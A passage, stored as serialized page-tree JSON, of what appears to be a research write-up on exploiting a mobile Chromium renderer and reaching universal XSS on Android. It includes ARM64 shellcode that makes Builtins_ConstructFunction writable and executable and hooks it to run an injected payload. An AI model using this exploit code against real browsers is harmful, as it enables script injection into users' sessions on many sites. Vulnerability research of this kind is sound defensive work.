5,"tag":201,"props":139894,"children":139895},{"style":220},[139896],{"type":31,"value":919},{"type":25,"tag":201,"props":139898,"children":139899},{"style":426},[139900],{"type":31,"value":139867},{"type":25,"tag":201,"props":139902,"children":139903},{"style":220},[139904],{"type":31,"value":919},{"type":25,"tag":201,"props":139906,"children":139907},{"style":426},[139908],{"type":31,"value":139809},{"type":25,"tag":201,"props":139910,"children":139911},{"style":220},[139912],{"type":31,"value":919},{"type":25,"tag":201,"props":139914,"children":139915},{"style":426},[139916],{"type":31,"value":139818},{"type":25,"tag":201,"props":139918,"children":139919},{"style":220},[139920],{"type":31,"value":919},{"type":25,"tag":201,"props":139922,"children":139923},{"style":426},[139924],{"type":31,"value":139925},"193",{"type":25,"tag":201,"props":139927,"children":139928},{"style":220},[139929],{"type":31,"value":919},{"type":25,"tag":201,"props":139931,"children":139932},{"style":426},[139933],{"type":31,"value":139934},"168",{"type":25,"tag":201,"props":139936,"children":139937},{"style":220},[139938],{"type":31,"value":547},{"type":25,"tag":201,"props":139940,"children":139941},{"class":203,"line":531},[139942,139947,139951,139955,139959,139963,139967,139971,139975,139979,139983,139987,139991,139995,139999,140004,140008,140012,140016,140020,140024,140028,140032,140036,140040,140044,140048,140052,140056,140060,140064,140068,140072,140076,140080,140084,140088,140092,140096,140100,140104,140108,140112,140116,140120,140124,140128,140132,140136,140140,140144,140148,140152,140156],{"type":25,"tag":201,"props":139943,"children":139944},{"style":426},[139945],{"type":31,"value":139946},"    255",{"type":25,"tag":201,"props":139948,"children":139949},{"style":220},[139950],{"type":31,"value":919},{"type":25,"tag":201,"props":139952,"children":139953},{"style":426},[139954],{"type":31,"value":139744},{"type":25,"tag":201,"props":139956,"children":139957},{"style":220},[139958],{"type":31,"value":919},{"type":25,"tag":201,"props":139960,"children":139961},{"style":426},[139962],{"type":31,"value":18792},{"type":25,"tag":201,"props":139964,"children":139965},{"style":220},[139966],{"type":31,"value":919},{"type":25,"tag":201,"props":139968,"children":139969},{"style":426},[139970],{"type":31,"value":139694},{"type":25,"tag":201,"props":139972,"children":139973},{"style":220},[139974],{"type":31,"value":919},{"type":25,"tag":201,"props":139976,"children":139977},{"style":426},[139978],{"type":31,"value":135629},{"type":25,"tag":201,"props":139980,"children":139981},{"style":220},[139982],{"type":31,"value":919},{"type":25,"tag":201,"props":139984,"children":139985},{"style":426},[139986],{"type":31,"value":18792},{"type":25,"tag":201,"props":139988,"children":139989},{"style":220},[139990],{"type":31,"value":919},{"type":25,"tag":201,"props":139992,"children":139993},{"style":426},[139994],{"type":31,"value":139668},{"type":25,"tag":201,"props":139996,"children":139997},{"style":220},[139998],{"type":31,"value":919},{"type":25,"tag":201,"props":140000,"children":140001},{"style":426},[140002],{"type":31,"value":140003},"214",{"type":25,"tag":201,"props":140005,"children":140006},{"style":220},[140007],{"type":31,"value":919},{"type":25,"tag":201,"props":140009,"children":140010},{"style":426},[140011],{"type":31,"value":97751},{"type":25,"tag":201,"props":140013,"children":140014},{"style":220},[140015],{"type":31,"value":919},{"type":25,"tag":201,"props":140017,"children":140018},{"style":426},[140019],{"type":31,"value":61426},{"type":25,"tag":201,"props":140021,"children":140022},{"style":220},[140023],{"type":31,"value":919},{"type":25,"tag":201,"props":140025,"children":140026},{"style":426},[140027],{"type":31,"value":18792},{"type":25,"tag":201,"props":140029,"children":140030},{"style":220},[140031],{"type":31,"value":919},{"type":25,"tag":201,"props":140033,"children":140034},{"style":426},[140035],{"type":31,"value":139694},{"type":25,"tag":201,"props":140037,"children":140038},{"style":220},[140039],{"type":31,"value":919},{"type":25,"tag":201,"props":140041,"children":140042},{"style":426},[140043],{"type":31,"value":19025},{"type":25,"tag":201,"props":140045,"children":140046},{"style":220},[140047],{"type":31,"value":919},{"type":25,"tag":201,"props":140049,"children":140050},{"style":426},[140051],{"type":31,"value":429},{"type":25,"tag":201,"props":140053,"children":140054},{"style":220},[140055],{"type":31,"value":919},{"type":25,"tag":201,"props":140057,"children":140058},{"style":426},[140059],{"type":31,"value":429},{"type":25,"tag":201,"props":140061,"children":140062},{"style":220},[140063],{"type":31,"value":919},{"type":25,"tag":201,"props":140065,"children":140066},{"style":426},[140067],{"type":31,"value":429},{"type":25,"tag":201,"props":140069,"children":140070},{"style":220},[140071],{"type":31,"value":919},{"type":25,"tag":201,"props":140073,"children":140074},{"style":426},[140075],{"type":31,"value":429},{"type":25,"tag":201,"props":140077,"children":140078},{"style":220},[140079],{"type":31,"value":919},{"type":25,"tag":201,"props":140081,"children":140082},{"style":426},[140083],{"type":31,"value":429},{"type":25,"tag":201,"props":140085,"children":140086},{"style":220},[140087],{"type":31,"value":919},{"type":25,"tag":201,"props":140089,"children":140090},{"style":426},[140091],{"type":31,"value":429},{"type":25,"tag":201,"props":140093,"children":140094},{"style":220},[140095],{"type":31,"value":919},{"type":25,"tag":201,"props":140097,"children":140098},{"style":426},[140099],{"type":31,"value":429},{"type":25,"tag":201,"props":140101,"children":140102},{"style":220},[140103],{"type":31,"value":919},{"type":25,"tag":201,"props":140105,"children":140106},{"style":426},[140107],{"type":31,"value":429},{"type":25,"tag":201,"props":140109,"children":140110},{"style":220},[140111],{"type":31,"value":919},{"type":25,"tag":201,"props":140113,"children":140114},{"style":426},[140115],{"type":31,"value":19025},{"type":25,"tag":201,"props":140117,"children":140118},{"style":220},[140119],{"type":31,"value":919},{"type":25,"tag":201,"props":140121,"children":140122},{"style":426},[140123],{"type":31,"value":429},{"type":25,"tag":201,"props":140125,"children":140126},{"style":220},[140127],{"type":31,"value":919},{"type":25,"tag":201,"props":140129,"children":140130},{"style":426},[140131],{"type":31,"value":429},{"type":25,"tag":201,"props":140133,"children":140134},{"style":220},[140135],{"type":31,"value":919},{"type":25,"tag":201,"props":140137,"children":140138},{"style":426},[140139],{"type":31,"value":429},{"type":25,"tag":201,"props":140141,"children":140142},{"style":220},[140143],{"type":31,"value":919},{"type":25,"tag":201,"props":140145,"children":140146},{"style":426},[140147],{"type":31,"value":429},{"type":25,"tag":201,"props":140149,"children":140150},{"style":220},[140151],{"type":31,"value":919},{"type":25,"tag":201,"props":140153,"children":140154},{"style":426},[140155],{"type":31,"value":429},{"type":25,"tag":201,"props":140157,"children":140158},{"style":220},[140159],{"type":31,"value":547},{"type":25,"tag":201,"props":140161,"children":140162},{"class":203,"line":550},[140163,140167,140171,140175,140179,140183,140187,140191,140195,140199,140203,140208,140212,140217,140221,140226,140230,140234],{"type":25,"tag":201,"props":140164,"children":140165},{"style":426},[140166],{"type":31,"value":135281},{"type":25,"tag":201,"props":140168,"children":140169},{"style":220},[140170],{"type":31,"value":919},{"type":25,"tag":201,"props":140172,"children":140173},{"style":426},[140174],{"type":31,"value":429},{"type":25,"tag":201,"props":140176,"children":140177},{"style":220},[140178],{"type":31,"value":919},{"type":25,"tag":201,"props":140180,"children":140181},{"style":426},[140182],{"type":31,"value":429},{"type":25,"tag":201,"props":140184,"children":140185},{"style":220},[140186],{"type":31,"value":919},{"type":25,"tag":201,"props":140188,"children":140189},{"style":426},[140190],{"type":31,"value":429},{"type":25,"tag":201,"props":140192,"children":140193},{"style":220},[140194],{"type":31,"value":919},{"type":25,"tag":201,"props":140196,"children":140197},{"style":426},[140198],{"type":31,"value":429},{"type":25,"tag":201,"props":140200,"children":140201},{"style":220},[140202],{"type":31,"value":919},{"type":25,"tag":201,"props":140204,"children":140205},{"style":426},[140206],{"type":31,"value":140207},"92",{"type":25,"tag":201,"props":140209,"children":140210},{"style":220},[140211],{"type":31,"value":919},{"type":25,"tag":201,"props":140213,"children":140214},{"style":426},[140215],{"type":31,"value":140216},"50",{"type":25,"tag":201,"props":140218,"children":140219},{"style":220},[140220],{"type":31,"value":919},{"type":25,"tag":201,"props":140222,"children":140223},{"style":426},[140224],{"type":31,"value":140225},"162",{"type":25,"tag":201,"props":140227,"children":140228},{"style":220},[140229],{"type":31,"value":919},{"type":25,"tag":201,"props":140231,"children":140232},{"style":426},[140233],{"type":31,"value":429},{"type":25,"tag":201,"props":140235,"children":140236},{"style":220},[140237],{"type":31,"value":547},{"type":25,"tag":201,"props":140239,"children":140240},{"class":203,"line":563},[140241],{"type":25,"tag":201,"props":140242,"children":140243},{"style":220},[140244],{"type":31,"value":135568},{"type":25,"tag":201,"props":140246,"children":140247},{"class":203,"line":572},[140248,140252,140256,140260,140264,140268,140272,140276,140280,140284,140288],{"type":25,"tag":201,"props":140249,"children":140250},{"style":208},[140251],{"type":31,"value":9364},{"type":25,"tag":201,"props":140253,"children":140254},{"style":246},[140255],{"type":31,"value":137021},{"type":25,"tag":201,"props":140257,"children":140258},{"style":261},[140259],{"type":31,"value":413},{"type":25,"tag":201,"props":140261,"children":140262},{"style":214},[140263],{"type":31,"value":137030},{"type":25,"tag":201,"props":140265,"children":140266},{"style":220},[140267],{"type":31,"value":298},{"type":25,"tag":201,"props":140269,"children":140270},{"style":246},[140271],{"type":31,"value":134899},{"type":25,"tag":201,"props":140273,"children":140274},{"style":220},[140275],{"type":31,"value":919},{"type":25,"tag":201,"props":140277,"children":140278},{"style":246},[140279],{"type":31,"value":126226},{"type":25,"tag":201,"props":140281,"children":140282},{"style":220},[140283],{"type":31,"value":80},{"type":25,"tag":201,"props":140285,"children":140286},{"style":246},[140287],{"type":31,"value":126226},{"type":25,"tag":201,"props":140289,"children":140290},{"style":220},[140291],{"type":31,"value":308},{"type":25,"tag":201,"props":140293,"children":140294},{"class":203,"line":590},[140295,140299,140303,140307,140311,140315,140319,140323,140327,140331],{"type":25,"tag":201,"props":140296,"children":140297},{"style":246},[140298],{"type":31,"value":137066},{"type":25,"tag":201,"props":140300,"children":140301},{"style":261},[140302],{"type":31,"value":413},{"type":25,"tag":201,"props":140304,"children":140305},{"style":220},[140306],{"type":31,"value":238},{"type":25,"tag":201,"props":140308,"children":140309},{"style":230},[140310],{"type":31,"value":1845},{"type":25,"tag":201,"props":140312,"children":140313},{"style":246},[140314],{"type":31,"value":137021},{"type":25,"tag":201,"props":140316,"children":140317},{"style":220},[140318],{"type":31,"value":80},{"type":25,"tag":201,"props":140320,"children":140321},{"style":214},[140322],{"type":31,"value":58644},{"type":25,"tag":201,"props":140324,"children":140325},{"style":220},[140326],{"type":31,"value":137095},{"type":25,"tag":201,"props":140328,"children":140329},{"style":246},[140330],{"type":31,"value":40222},{"type":25,"tag":201,"props":140332,"children":140333},{"style":220},[140334],{"type":31,"value":461},{"type":25,"tag":201,"props":140336,"children":140337},{"class":203,"line":608},[140338,140342,140346,140350,140354,140359,140363,140367],{"type":25,"tag":201,"props":140339,"children":140340},{"style":246},[140341],{"type":31,"value":103028},{"type":25,"tag":201,"props":140343,"children":140344},{"style":220},[140345],{"type":31,"value":80},{"type":25,"tag":201,"props":140347,"children":140348},{"style":214},[140349],{"type":31,"value":103037},{"type":25,"tag":201,"props":140351,"children":140352},{"style":220},[140353],{"type":31,"value":298},{"type":25,"tag":201,"props":140355,"children":140356},{"style":267},[140357],{"type":31,"value":140358},"'DeserializeWasmModule result: '",{"type":25,"tag":201,"props":140360,"children":140361},{"style":261},[140362],{"type":31,"value":10412},{"type":25,"tag":201,"props":140364,"children":140365},{"style":246},[140366],{"type":31,"value":10664},{"type":25,"tag":201,"props":140368,"children":140369},{"style":220},[140370],{"type":31,"value":308},{"type":25,"tag":201,"props":140372,"children":140373},{"class":203,"line":617},[140374,140378,140382,140386,140390,140394,140398,140402,140406,140410],{"type":25,"tag":201,"props":140375,"children":140376},{"style":208},[140377],{"type":31,"value":37258},{"type":25,"tag":201,"props":140379,"children":140380},{"style":246},[140381],{"type":31,"value":137115},{"type":25,"tag":201,"props":140383,"children":140384},{"style":261},[140385],{"type":31,"value":413},{"type":25,"tag":201,"props":140387,"children":140388},{"style":208},[140389],{"type":31,"value":828},{"type":25,"tag":201,"props":140391,"children":140392},{"style":246},[140393],{"type":31,"value":134882},{"type":25,"tag":201,"props":140395,"children":140396},{"style":220},[140397],{"type":31,"value":80},{"type":25,"tag":201,"props":140399,"children":140400},{"style":214},[140401],{"type":31,"value":134936},{"type":25,"tag":201,"props":140403,"children":140404},{"style":220},[140405],{"type":31,"value":298},{"type":25,"tag":201,"props":140407,"children":140408},{"style":246},[140409],{"type":31,"value":10587},{"type":25,"tag":201,"props":140411,"children":140412},{"style":220},[140413],{"type":31,"value":308},{"type":25,"tag":201,"props":140415,"children":140416},{"class":203,"line":625},[140417,140421,140425,140429,140433,140437,140441,140445,140449],{"type":25,"tag":201,"props":140418,"children":140419},{"style":208},[140420],{"type":31,"value":37258},{"type":25,"tag":201,"props":140422,"children":140423},{"style":246},[140424],{"type":31,"value":1902},{"type":25,"tag":201,"props":140426,"children":140427},{"style":261},[140428],{"type":31,"value":413},{"type":25,"tag":201,"props":140430,"children":140431},{"style":246},[140432],{"type":31,"value":137115},{"type":25,"tag":201,"props":140434,"children":140435},{"style":220},[140436],{"type":31,"value":80},{"type":25,"tag":201,"props":140438,"children":140439},{"style":246},[140440],{"type":31,"value":38956},{"type":25,"tag":201,"props":140442,"children":140443},{"style":220},[140444],{"type":31,"value":80},{"type":25,"tag":201,"props":140446,"children":140447},{"style":246},[140448],{"type":31,"value":134985},{"type":25,"tag":201,"props":140450,"children":140451},{"style":220},[140452],{"type":31,"value":461},{"type":25,"tag":201,"props":140454,"children":140455},{"class":203,"line":642},[140456,140460,140464,140468,140472,140476],{"type":25,"tag":201,"props":140457,"children":140458},{"style":246},[140459],{"type":31,"value":103028},{"type":25,"tag":201,"props":140461,"children":140462},{"style":220},[140463],{"type":31,"value":80},{"type":25,"tag":201,"props":140465,"children":140466},{"style":214},[140467],{"type":31,"value":103037},{"type":25,"tag":201,"props":140469,"children":140470},{"style":220},[140471],{"type":31,"value":298},{"type":25,"tag":201,"props":140473,"children":140474},{"style":246},[140475],{"type":31,"value":2020},{"type":25,"tag":201,"props":140477,"children":140478},{"style":220},[140479],{"type":31,"value":308},{"type":25,"tag":201,"props":140481,"children":140482},{"class":203,"line":659},[140483],{"type":25,"tag":201,"props":140484,"children":140485},{"style":220},[140486],{"type":31,"value":103069},{"type":25,"tag":34,"props":140488,"children":140489},{},[140490],{"type":31,"value":140491},"And this time, it works as expected:",{"type":25,"tag":34,"props":140493,"children":140494},{},[140495],{"type":25,"tag":127,"props":140496,"children":140499},{"alt":140497,"src":140498},"image3","/posts/mobile-renderer-rce/image3.png",[],{"type":25,"tag":40,"props":140501,"children":140503},{"id":140502},"achieving-universal-xss",[140504],{"type":31,"value":140505},"Achieving Universal XSS",{"type":25,"tag":34,"props":140507,"children":140508},{},[140509,140511,140517,140519,140526],{"type":31,"value":140510},"At this point, we have arbitrary shellcode execution in the renderer process. While usually the exploit stops here and further access would require a browser sandbox escape, we decided to explore an alternative route known as UXSS, inspired by this ",{"type":25,"tag":71,"props":140512,"children":140515},{"href":140513,"rel":140514},"https://i.blackhat.com/Asia-24/Presentations/Asia-24-Liu-The-Hole-in-Sandbox.pdf",[75],[140516],{"type":31,"value":71413},{"type":31,"value":140518}," from Tencent Security and ",{"type":25,"tag":71,"props":140520,"children":140523},{"href":140521,"rel":140522},"https://www.interruptlabs.co.uk/articles/one-click-memory-corruption-in-alibabas-uc-browser-exploiting-patch-gap-v8-vulnerabilities-to-steal-your-data",[75],[140524],{"type":31,"value":140525},"research article",{"type":31,"value":140527}," from InterruptLabs.",{"type":25,"tag":34,"props":140529,"children":140530},{},[140531,140533,140540],{"type":31,"value":140532},"Unlike a normal XSS, a UXSS, or universal XSS, is a client side browser exploit that enables arbitrary JavaScript injection in all pages of a website. Normally, site isolation on desktop Chromium prevents this, as each site ends up in a different renderer process, but Android specifically has a ",{"type":25,"tag":71,"props":140534,"children":140537},{"href":140535,"rel":140536},"https://www.chromium.org/Home/chromium-security/site-isolation/#android",[75],[140538],{"type":31,"value":140539},"weaker version",{"type":31,"value":140541}," of this mitigation - only sites with logins and COOP headers are per process isolated. This means that the majority of webpages are in the same renderer process, so any patches to the interpreter will affect them all and lead to UXSS. This is still quite the capability!",{"type":25,"tag":34,"props":140543,"children":140544},{},[140545,140547,140553],{"type":31,"value":140546},"To achieve UXSS, we need to patch a function that’s invoked during site loading so we can run our XSS payload. During debugging, we observed that every site we visited eventually called ",{"type":25,"tag":115,"props":140548,"children":140550},{"className":140549},[],[140551],{"type":31,"value":140552},"Builtins_ConstructFunction",{"type":31,"value":140554},", making it a natural target.",{"type":25,"tag":34,"props":140556,"children":140557},{},[140558,140560,140565],{"type":31,"value":140559},"Our goal is for ",{"type":25,"tag":115,"props":140561,"children":140563},{"className":140562},[],[140564],{"type":31,"value":140552},{"type":31,"value":140566}," to execute our XSS payload first, then continue its normal behavior. To do this, we hook it as follows:",{"type":25,"tag":18183,"props":140568,"children":140569},{},[140570,140575,140585],{"type":25,"tag":6948,"props":140571,"children":140572},{},[140573],{"type":31,"value":140574},"The exploit’s shellcode patches the first few instructions to redirect execution to our mmap-ed shellcode, which runs the XSS payload",{"type":25,"tag":6948,"props":140576,"children":140577},{},[140578,140580],{"type":31,"value":140579},"After finishing, the mmap-ed shellcode restores the original instructions in ",{"type":25,"tag":115,"props":140581,"children":140583},{"className":140582},[],[140584],{"type":31,"value":140552},{"type":25,"tag":6948,"props":140586,"children":140587},{},[140588,140590,140595],{"type":31,"value":140589},"The mmap-ed shellcode then returns to the beginning of ",{"type":25,"tag":115,"props":140591,"children":140593},{"className":140592},[],[140594],{"type":31,"value":140552},{"type":31,"value":140596},", which now proceeds normally",{"type":25,"tag":34,"props":140598,"children":140599},{},[140600],{"type":31,"value":140601},"The ARM64 shellcode implementing this looks as follows:",{"type":25,"tag":191,"props":140603,"children":140607},{"code":140604,"language":140605,"meta":7,"className":140606,"style":7},"// get return addr to x0\nldr x0, [sp, #0x18]\n// strip pac signature from return address\n.arch armv8.3-a; xpaci x0\n\n// store x5 = Builtins_ConstructFunction\nmovz x1, #0x610c\nsub x0, x0, x1\nmov x5, x0\n\n// store x4 = page aligned ConstructFunction\nmovz x1, #0xf000\nmovk x1, #0xffff, lsl #16\nmovk x1, #0xffff, lsl #32\nand x4, x5, x1\n\n// mprotect page aligned ConstructFunction RWX\nmov x0, x4\nmov x1, #0x2000\nmov x2, #0x7\nmov x8, #226\nsvc #0\n\nmov x6, x5\n\n// mmap RWX for jump dest (uxss_sc)\nmov x0, #0\nmov x1, #0x1000\nmov x2, #0x7\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\nmov x5, x0\n\n// at this point:\n// x6 = Builtins_ConstructFunction\n// x5 = mmap page for uxss_sc\n\n// write uxss_sc to mmaped rwx page\n{write_sc(uxss_sc, \"x5\")}\n\n// wipe from cache\nmov x0, x5\n{WIPE_CACHE}\n\n// patch Builtins_ConstructFunction\n{write_sc(new_compile_instrs, \"x6\")}\n// and add a pointer to uxss_sc just above new instructions\nstr x5, [x6, #{5 * INSTR_SIZE}]\n\n// wipe from cache\nmov x0, x6\n{WIPE_CACHE}\n","asm","language-asm shiki shiki-themes slack-dark",[140608],{"type":25,"tag":115,"props":140609,"children":140610},{"__ignoreMap":7},[140611,140619,140627,140635,140643,140650,140658,140666,140674,140682,140689,140697,140705,140713,140721,140729,140736,140744,140752,140760,140768,140776,140784,140791,140799,140806,140814,140822,140830,140837,140845,140853,140861,140869,140876,140883,140890,140897,140905,140913,140921,140928,140936,140944,140951,140959,140967,140975,140982,140990,140998,141006,141014,141021,141028,141036],{"type":25,"tag":201,"props":140612,"children":140613},{"class":203,"line":204},[140614],{"type":25,"tag":201,"props":140615,"children":140616},{},[140617],{"type":31,"value":140618},"// get return addr to x0\n",{"type":25,"tag":201,"props":140620,"children":140621},{"class":203,"line":226},[140622],{"type":25,"tag":201,"props":140623,"children":140624},{},[140625],{"type":31,"value":140626},"ldr x0, [sp, #0x18]\n",{"type":25,"tag":201,"props":140628,"children":140629},{"class":203,"line":278},[140630],{"type":25,"tag":201,"props":140631,"children":140632},{},[140633],{"type":31,"value":140634},"// strip pac signature from return address\n",{"type":25,"tag":201,"props":140636,"children":140637},{"class":203,"line":311},[140638],{"type":25,"tag":201,"props":140639,"children":140640},{},[140641],{"type":31,"value":140642},".arch armv8.3-a; xpaci x0\n",{"type":25,"tag":201,"props":140644,"children":140645},{"class":203,"line":330},[140646],{"type":25,"tag":201,"props":140647,"children":140648},{"emptyLinePlaceholder":17},[140649],{"type":31,"value":496},{"type":25,"tag":201,"props":140651,"children":140652},{"class":203,"line":397},[140653],{"type":25,"tag":201,"props":140654,"children":140655},{},[140656],{"type":31,"value":140657},"// store x5 = Builtins_ConstructFunction\n",{"type":25,"tag":201,"props":140659,"children":140660},{"class":203,"line":437},[140661],{"type":25,"tag":201,"props":140662,"children":140663},{},[140664],{"type":31,"value":140665},"movz x1, #0x610c\n",{"type":25,"tag":201,"props":140667,"children":140668},{"class":203,"line":464},[140669],{"type":25,"tag":201,"props":140670,"children":140671},{},[140672],{"type":31,"value":140673},"sub x0, x0, x1\n",{"type":25,"tag":201,"props":140675,"children":140676},{"class":203,"line":490},[140677],{"type":25,"tag":201,"props":140678,"children":140679},{},[140680],{"type":31,"value":140681},"mov x5, x0\n",{"type":25,"tag":201,"props":140683,"children":140684},{"class":203,"line":499},[140685],{"type":25,"tag":201,"props":140686,"children":140687},{"emptyLinePlaceholder":17},[140688],{"type":31,"value":496},{"type":25,"tag":201,"props":140690,"children":140691},{"class":203,"line":522},[140692],{"type":25,"tag":201,"props":140693,"children":140694},{},[140695],{"type":31,"value":140696},"// store x4 = page aligned ConstructFunction\n",{"type":25,"tag":201,"props":140698,"children":140699},{"class":203,"line":531},[140700],{"type":25,"tag":201,"props":140701,"children":140702},{},[140703],{"type":31,"value":140704},"movz x1, #0xf000\n",{"type":25,"tag":201,"props":140706,"children":140707},{"class":203,"line":550},[140708],{"type":25,"tag":201,"props":140709,"children":140710},{},[140711],{"type":31,"value":140712},"movk x1, #0xffff, lsl #16\n",{"type":25,"tag":201,"props":140714,"children":140715},{"class":203,"line":563},[140716],{"type":25,"tag":201,"props":140717,"children":140718},{},[140719],{"type":31,"value":140720},"movk x1, #0xffff, lsl #32\n",{"type":25,"tag":201,"props":140722,"children":140723},{"class":203,"line":572},[140724],{"type":25,"tag":201,"props":140725,"children":140726},{},[140727],{"type":31,"value":140728},"and x4, x5, x1\n",{"type":25,"tag":201,"props":140730,"children":140731},{"class":203,"line":590},[140732],{"type":25,"tag":201,"props":140733,"children":140734},{"emptyLinePlaceholder":17},[140735],{"type":31,"value":496},{"type":25,"tag":201,"props":140737,"children":140738},{"class":203,"line":608},[140739],{"type":25,"tag":201,"props":140740,"children":140741},{},[140742],{"type":31,"value":140743},"// mprotect page aligned ConstructFunction RWX\n",{"type":25,"tag":201,"props":140745,"children":140746},{"class":203,"line":617},[140747],{"type":25,"tag":201,"props":140748,"children":140749},{},[140750],{"type":31,"value":140751},"mov x0, x4\n",{"type":25,"tag":201,"props":140753,"children":140754},{"class":203,"line":625},[140755],{"type":25,"tag":201,"props":140756,"children":140757},{},[140758],{"type":31,"value":140759},"mov x1, #0x2000\n",{"type":25,"tag":201,"props":140761,"children":140762},{"class":203,"line":642},[140763],{"type":25,"tag":201,"props":140764,"children":140765},{},[140766],{"type":31,"value":140767},"mov x2, #0x7\n",{"type":25,"tag":201,"props":140769,"children":140770},{"class":203,"line":659},[140771],{"type":25,"tag":201,"props":140772,"children":140773},{},[140774],{"type":31,"value":140775},"mov x8, #226\n",{"type":25,"tag":201,"props":140777,"children":140778},{"class":203,"line":667},[140779],{"type":25,"tag":201,"props":140780,"children":140781},{},[140782],{"type":31,"value":140783},"svc #0\n",{"type":25,"tag":201,"props":140785,"children":140786},{"class":203,"line":676},[140787],{"type":25,"tag":201,"props":140788,"children":140789},{"emptyLinePlaceholder":17},[140790],{"type":31,"value":496},{"type":25,"tag":201,"props":140792,"children":140793},{"class":203,"line":694},[140794],{"type":25,"tag":201,"props":140795,"children":140796},{},[140797],{"type":31,"value":140798},"mov x6, x5\n",{"type":25,"tag":201,"props":140800,"children":140801},{"class":203,"line":707},[140802],{"type":25,"tag":201,"props":140803,"children":140804},{"emptyLinePlaceholder":17},[140805],{"type":31,"value":496},{"type":25,"tag":201,"props":140807,"children":140808},{"class":203,"line":715},[140809],{"type":25,"tag":201,"props":140810,"children":140811},{},[140812],{"type":31,"value":140813},"// mmap RWX for jump dest (uxss_sc)\n",{"type":25,"tag":201,"props":140815,"children":140816},{"class":203,"line":732},[140817],{"type":25,"tag":201,"props":140818,"children":140819},{},[140820],{"type":31,"value":140821},"mov x0, #0\n",{"type":25,"tag":201,"props":140823,"children":140824},{"class":203,"line":749},[140825],{"type":25,"tag":201,"props":140826,"children":140827},{},[140828],{"type":31,"value":140829},"mov x1, #0x1000\n",{"type":25,"tag":201,"props":140831,"children":140832},{"class":203,"line":757},[140833],{"type":25,"tag":201,"props":140834,"children":140835},{},[140836],{"type":31,"value":140767},{"type":25,"tag":201,"props":140838,"children":140839},{"class":203,"line":765},[140840],{"type":25,"tag":201,"props":140841,"children":140842},{},[140843],{"type":31,"value":140844},"mov x3, #34\n",{"type":25,"tag":201,"props":140846,"children":140847},{"class":203,"line":783},[140848],{"type":25,"tag":201,"props":140849,"children":140850},{},[140851],{"type":31,"value":140852},"mov x4, #-1\n",{"type":25,"tag":201,"props":140854,"children":140855},{"class":203,"line":792},[140856],{"type":25,"tag":201,"props":140857,"children":140858},{},[140859],{"type":31,"value":140860},"mov x5, #0\n",{"type":25,"tag":201,"props":140862,"children":140863},{"class":203,"line":801},[140864],{"type":25,"tag":201,"props":140865,"children":140866},{},[140867],{"type":31,"value":140868},"mov x8, #222\n",{"type":25,"tag":201,"props":140870,"children":140871},{"class":203,"line":809},[140872],{"type":25,"tag":201,"props":140873,"children":140874},{},[140875],{"type":31,"value":140783},{"type":25,"tag":201,"props":140877,"children":140878},{"class":203,"line":857},[140879],{"type":25,"tag":201,"props":140880,"children":140881},{"emptyLinePlaceholder":17},[140882],{"type":31,"value":496},{"type":25,"tag":201,"props":140884,"children":140885},{"class":203,"line":865},[140886],{"type":25,"tag":201,"props":140887,"children":140888},{},[140889],{"type":31,"value":140681},{"type":25,"tag":201,"props":140891,"children":140892},{"class":203,"line":931},[140893],{"type":25,"tag":201,"props":140894,"children":140895},{"emptyLinePlaceholder":17},[140896],{"type":31,"value":496},{"type":25,"tag":201,"props":140898,"children":140899},{"class":203,"line":939},[140900],{"type":25,"tag":201,"props":140901,"children":140902},{},[140903],{"type":31,"value":140904},"// at this point:\n",{"type":25,"tag":201,"props":140906,"children":140907},{"class":203,"line":960},[140908],{"type":25,"tag":201,"props":140909,"children":140910},{},[140911],{"type":31,"value":140912},"// x6 = Builtins_ConstructFunction\n",{"type":25,"tag":201,"props":140914,"children":140915},{"class":203,"line":977},[140916],{"type":25,"tag":201,"props":140917,"children":140918},{},[140919],{"type":31,"value":140920},"// x5 = mmap page for uxss_sc\n",{"type":25,"tag":201,"props":140922,"children":140923},{"class":203,"line":994},[140924],{"type":25,"tag":201,"props":140925,"children":140926},{"emptyLinePlaceholder":17},[140927],{"type":31,"value":496},{"type":25,"tag":201,"props":140929,"children":140930},{"class":203,"line":1016},[140931],{"type":25,"tag":201,"props":140932,"children":140933},{},[140934],{"type":31,"value":140935},"// write uxss_sc to mmaped rwx page\n",{"type":25,"tag":201,"props":140937,"children":140938},{"class":203,"line":1089},[140939],{"type":25,"tag":201,"props":140940,"children":140941},{},[140942],{"type":31,"value":140943},"{write_sc(uxss_sc, \"x5\")}\n",{"type":25,"tag":201,"props":140945,"children":140946},{"class":203,"line":1107},[140947],{"type":25,"tag":201,"props":140948,"children":140949},{"emptyLinePlaceholder":17},[140950],{"type":31,"value":496},{"type":25,"tag":201,"props":140952,"children":140953},{"class":203,"line":1116},[140954],{"type":25,"tag":201,"props":140955,"children":140956},{},[140957],{"type":31,"value":140958},"// wipe from cache\n",{"type":25,"tag":201,"props":140960,"children":140961},{"class":203,"line":1124},[140962],{"type":25,"tag":201,"props":140963,"children":140964},{},[140965],{"type":31,"value":140966},"mov x0, x5\n",{"type":25,"tag":201,"props":140968,"children":140969},{"class":203,"line":1163},[140970],{"type":25,"tag":201,"props":140971,"children":140972},{},[140973],{"type":31,"value":140974},"{WIPE_CACHE}\n",{"type":25,"tag":201,"props":140976,"children":140977},{"class":203,"line":1172},[140978],{"type":25,"tag":201,"props":140979,"children":140980},{"emptyLinePlaceholder":17},[140981],{"type":31,"value":496},{"type":25,"tag":201,"props":140983,"children":140984},{"class":203,"line":1181},[140985],{"type":25,"tag":201,"props":140986,"children":140987},{},[140988],{"type":31,"value":140989},"// patch Builtins_ConstructFunction\n",{"type":25,"tag":201,"props":140991,"children":140992},{"class":203,"line":1190},[140993],{"type":25,"tag":201,"props":140994,"children":140995},{},[140996],{"type":31,"value":140997},"{write_sc(new_compile_instrs, \"x6\")}\n",{"type":25,"tag":201,"props":140999,"children":141000},{"class":203,"line":1198},[141001],{"type":25,"tag":201,"props":141002,"children":141003},{},[141004],{"type":31,"value":141005},"// and add a pointer to uxss_sc just above new instructions\n",{"type":25,"tag":201,"props":141007,"children":141008},{"class":203,"line":1220},[141009],{"type":25,"tag":201,"props":141010,"children":141011},{},[141012],{"type":31,"value":141013},"str x5, [x6, #{5 * 